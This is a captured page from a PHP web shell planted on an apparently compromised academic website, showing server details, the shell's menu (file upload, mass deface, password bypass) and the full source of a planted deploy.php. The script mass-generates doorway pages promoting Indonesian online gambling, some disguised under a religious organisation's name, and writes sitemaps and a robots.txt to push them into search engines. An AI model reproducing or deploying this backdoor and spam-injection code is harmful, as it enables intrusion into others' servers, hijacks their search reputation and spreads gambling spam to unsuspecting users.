Cylul007 Webshell
Server :
Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
php :
8.0.30
on
cgi-fcgi
Time
25 Nov 2024 17:42:32
Current Directory :
/
home
/
amvm
/
public_html
/
cholang
/
page
/
Upload File :
Mass Deface
Home
Bypass Passwd
Current File : /home/amvm/public_html/cholang/page/deploy.php
<?php // Tentukan hostname dan prefix nama file sitemap secara manual $hostname = 'cholang.akalacademy.ac.in'; $sitemapFilePrefix = 'site'; // Prefix untuk nama file sitemap, misalnya 'site' untuk site1.xml, site2.xml, dll. // Membaca file keyword.txt $keywords = file('keyword.txt', FILE_IGNORE_NEW_LINES); // Array untuk menyimpan URL yang akan dimasukkan ke sitemap $sitemapUrls = []; // Membaca template HTML dari file $templateFile = 'template.html'; $templateContent = file_get_contents($templateFile); // Fungsi untuk menggantikan placeholder dalam template function renderTemplate($template, $data) { foreach ($data as $key => $value) { $template = str_replace("{{{$key}}}", $value, $template); } return $template; } // Loop untuk setiap keyword foreach ($keywords as $keyword) { // Membuat data untuk setiap folder $folders = [ [ 'folderName' => "$keyword", 'judul' => "$keyword - LDII BEKASI", 'deskripsi' => "$keyword LDII BEKASI adalah salah satu organisasi kemasyarakat Islam di Indonesia.Organisasi ini bergerak di bidang dakwah", 'canonical' => "https://$hostname/$keyword" ], [ 'folderName' => "{$keyword}-RTP-10", 'judul' => "$keyword 𓂀 SITUS SLOT GACOR $keyword GAMPANG PECAH KALI 500", 'deskripsi' => "$keyword merupakan situs slot gacor gampang pecah kali 500. $keyword gampang menang maxwin x500 jaminan pasti pecah perkalian besar hari ini hanya menggunakan 1 id dari $keyword situs slot gacor nomor 1 di indonesia.", 'canonical' => "https://$hostname/{$keyword}-RTP-10" ], [ 'folderName' => "{$keyword}-WEBSITE-20", 'judul' => "$keyword - LDII BEKASI", 'deskripsi' => "$keyword adalah agen judi $keyword nomor 1 di dunia. $keyword menawarkan permainan kasino online atau daring yang telah menjadi yang terpercaya di indonesia dan resmi terbesar di indonesia.", 'canonical' => "https://$hostname/{$keyword}-WEBSITE-20" ], [ 'folderName' => "{$keyword}-GACOR-30", 'judul' => "$keyword ✅ DAFTAR 10 AGEN JUDI ONLINE TERBESAR DI DUNIA", 'deskripsi' => "$keyword adalah termasuk salah satu agen judi online dari 10 daftar agen judi online terbesar di dunia. $keyword yang menyediakan daftar 1 akun untuk semua jenis game judi online", 'canonical' => "https://$hostname/{$keyword}-GACOR-30" ], [ 'folderName' => "{$keyword}-MAXWIN-40", 'judul' => "$keyword 🦅 LINK GACOR SITUS $keyword GACOR TERBARU 2023 AKUN JP RAJIN", 'deskripsi' => "$keyword adalah link terbaru permainan $keyword gacor gampang menang terbaru 2023 RTP dahsyat di atas 98% pakai akun JP $keyword untuk booster maxwin sehingg rajin maxwin bisa wd jutaan depo kecil.", 'canonical' => "https://$hostname/{$keyword}-MAXWIN-40" ], [ 'folderName' => "$keyword", 'judul' => "$keyword - LDII BEKASI", 'deskripsi' => "$keyword LDII BEKASI adalah salah satu organisasi kemasyarakat Islam di Indonesia.Organisasi ini bergerak di bidang dakwah", 'canonical' => "https://$hostname/$keyword" ], [ 'folderName' => "{$keyword}-RTP-10", 'judul' => "$keyword 𓂀 SITUS SLOT GACOR $keyword GAMPANG PECAH KALI 500", 'deskripsi' => "$keyword merupakan situs slot gacor gampang pecah kali 500. $keyword gampang menang maxwin x500 jaminan pasti pecah perkalian besar hari ini hanya menggunakan 1 id dari $keyword situs slot gacor nomor 1 di indonesia.", 'canonical' => "https://$hostname/{$keyword}-RTP-10" ], [ 'folderName' => "{$keyword}-WEBSITE-20", 'judul' => "$keyword - LDII BEKASI", 'deskripsi' => "$keyword adalah agen judi $keyword nomor 1 di dunia. $keyword menawarkan permainan kasino online atau daring yang telah menjadi yang terpercaya di indonesia dan resmi terbesar di indonesia.", 'canonical' => "https://$hostname/{$keyword}-WEBSITE-20" ], [ 'folderName' => "{$keyword}-GACOR-30", 'judul' => "$keyword ✅ DAFTAR 10 AGEN JUDI ONLINE TERBESAR DI DUNIA", 'deskripsi' => "$keyword adalah termasuk salah satu agen judi online dari 10 daftar agen judi online terbesar di dunia. $keyword yang menyediakan daftar 1 akun untuk semua jenis game judi online", 'canonical' => "https://$hostname/{$keyword}-GACOR-30" ], [ 'folderName' => "{$keyword}-MAXWIN-40", 'judul' => "$keyword 🦅 LINK GACOR SITUS $keyword GACOR TERBARU 2023 AKUN JP RAJIN", 'deskripsi' => "$keyword adalah link terbaru permainan $keyword gacor gampang menang terbaru 2023 RTP dahsyat di atas 98% pakai akun JP $keyword untuk booster maxwin sehingg rajin maxwin bisa wd jutaan depo kecil.", 'canonical' => "https://$hostname/{$keyword}-MAXWIN-40" ] ]; // Loop untuk setiap folder dan file HTML di dalamnya foreach ($folders as $folder) { // Membuat folder jika belum ada if (!file_exists($folder['folderName'])) { mkdir($folder['folderName'], 0777, true); } // Render template dengan data folder $htmlContent = renderTemplate($templateContent, [ 'judul' => $folder['judul'], 'deskripsi' => $folder['deskripsi'], 'canonical' => $folder['canonical'], 'keyword' => $keyword ]); // Menyimpan file HTML sebagai index.php di dalam folder $filePath = $folder['folderName'] . '/index.php'; file_put_contents($filePath, $htmlContent); // Menampilkan informasi file yang dibuat echo "File dibuat: " . $filePath . "\n"; // Tambahkan URL ke array sitemap $sitemapUrls[] = $folder['canonical']; } } // Maksimal 10.000 URL per file sitemap $maxUrlsPerFile = 10000; $sitemapIndex = 1; $urlCount = 0; $sitemapUrlsChunk = []; // Membagi URL menjadi beberapa file sitemap foreach ($sitemapUrls as $url) { if ($urlCount % $maxUrlsPerFile == 0 && $urlCount > 0) { // Simpan file sitemap sebelumnya $sitemapFileName = "{$sitemapFilePrefix}{$sitemapIndex}.xml"; $sitemapContent = '<?xml version="1.0" encoding="UTF-8"?>' . PHP_EOL; $sitemapContent .= '<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL; foreach ($sitemapUrlsChunk as $sitemapUrl) { $sitemapContent .= " <url>" . PHP_EOL; $sitemapContent .= " <loc>$sitemapUrl</loc>" . PHP_EOL; $sitemapContent .= " <lastmod>" . date('Y-m-d') . "</lastmod>" . PHP_EOL; $sitemapContent .= " <changefreq>weekly</changefreq>" . PHP_EOL; $sitemapContent .= " <priority>0.8</priority>" . PHP_EOL; $sitemapContent .= " </url>" . PHP_EOL; } $sitemapContent .= '</urlset>' . PHP_EOL; file_put_contents($sitemapFileName, $sitemapContent); echo "File $sitemapFileName telah dibuat.\n"; // Reset chunk untuk file berikutnya $sitemapUrlsChunk = []; $sitemapIndex++; } $sitemapUrlsChunk[] = $url; $urlCount++; } // Simpan file sitemap terakhir jika ada if (count($sitemapUrlsChunk) > 0) { $sitemapFileName = "{$sitemapFilePrefix}{$sitemapIndex}.xml"; $sitemapContent = '<?xml version="1.0" encoding="UTF-8"?>' . PHP_EOL; $sitemapContent .= '<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL; foreach ($sitemapUrlsChunk as $sitemapUrl) { $sitemapContent .= " <url>" . PHP_EOL; $sitemapContent .= " <loc>$sitemapUrl</loc>" . PHP_EOL; $sitemapContent .= " <lastmod>" . date('Y-m-d') . "</lastmod>" . PHP_EOL; $sitemapContent .= " </url>" . PHP_EOL; } $sitemapContent .= '</urlset>' . PHP_EOL; file_put_contents($sitemapFileName, $sitemapContent); echo "File $sitemapFileName telah dibuat.\n"; } // Membuat file sitemap index.xml (diganti nama sesuai prefix) $sitemapIndexContent = '<?xml version="1.0" encoding="UTF-8"?>' . PHP_EOL; $sitemapIndexContent .= '<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL; for ($i = 1; $i <= $sitemapIndex; $i++) { $sitemapIndexContent .= " <sitemap>" . PHP_EOL; $sitemapIndexContent .= " <loc>https://$hostname/{$sitemapFilePrefix}$i.xml</loc>" . PHP_EOL; $sitemapIndexContent .= " <lastmod>" . date('Y-m-d') . "</lastmod>" . PHP_EOL; $sitemapIndexContent .= " </sitemap>" . PHP_EOL; } $sitemapIndexContent .= '</sitemapindex>' . PHP_EOL; // Simpan file sitemap index dengan nama yang sesuai prefix $sitemapIndexFileName = "{$sitemapFilePrefix}.xml"; file_put_contents($sitemapIndexFileName, $sitemapIndexContent); echo "File $sitemapIndexFileName telah dibuat.\n"; // Membuat file robots.txt $robotsContent = "User-agent: Googlebot\n"; $robotsContent .= "Disallow:\n"; $robotsContent .= "User-agent: googlebot-image\n"; $robotsContent .= "Disallow:\n"; $robotsContent .= "User-agent: googlebot-mobile\n"; $robotsContent .= "Disallow:\n"; $robotsContent .= "User-agent: MSNBot\n"; $robotsContent .= "Disallow:\n"; $robotsContent .= "User-agent: Slurp\n"; $robotsContent .= "Disallow:\n"; $robotsContent .= "User-agent: Teoma\n"; $robotsContent .= "Disallow:\n"; $robotsContent .= "User-agent: Gigabot\n"; $robotsContent .= "Disallow:\n"; $robotsContent .= "User-agent: Robozilla\n"; $robotsContent .= "Disallow:\n"; $robotsContent .= "User-agent: Nutch\n"; $robotsContent .= "Disallow:\n"; $robotsContent .= "User-agent: ia_archiver\n"; $robotsContent .= "Disallow:\n"; $robotsContent .= "User-agent: baiduspider\n"; $robotsContent .= "Disallow:\n"; $robotsContent .= "User-agent: naverbot\n"; $robotsContent .= "Disallow:\n"; $robotsContent .= "User-agent: yeti\n"; $robotsContent .= "Disallow:\n"; $robotsContent .= "User-agent: yahoo-mmcrawler\n"; $robotsContent .= "Disallow:\n"; $robotsContent .= "User-agent: psbot\n"; $robotsContent .= "Disallow:\n"; $robotsContent .= "User-agent: yahoo-blogs/v3.9\n"; $robotsContent .= "Disallow:\n"; $robotsContent .= "User-agent: *\n"; $robotsContent .= "Disallow:\n"; // Tambahkan multiple sitemaps $robotsContent .= "Sitemap: https://$hostname/{$sitemapFilePrefix}.xml\n"; // Simpan robots.txt di root folder file_put_contents('robots.txt', $robotsContent); echo "File robots.txt telah dibuat.\n"; ?>
./LuLlaby007 ♥ Tata Cantik - Copyright 2k18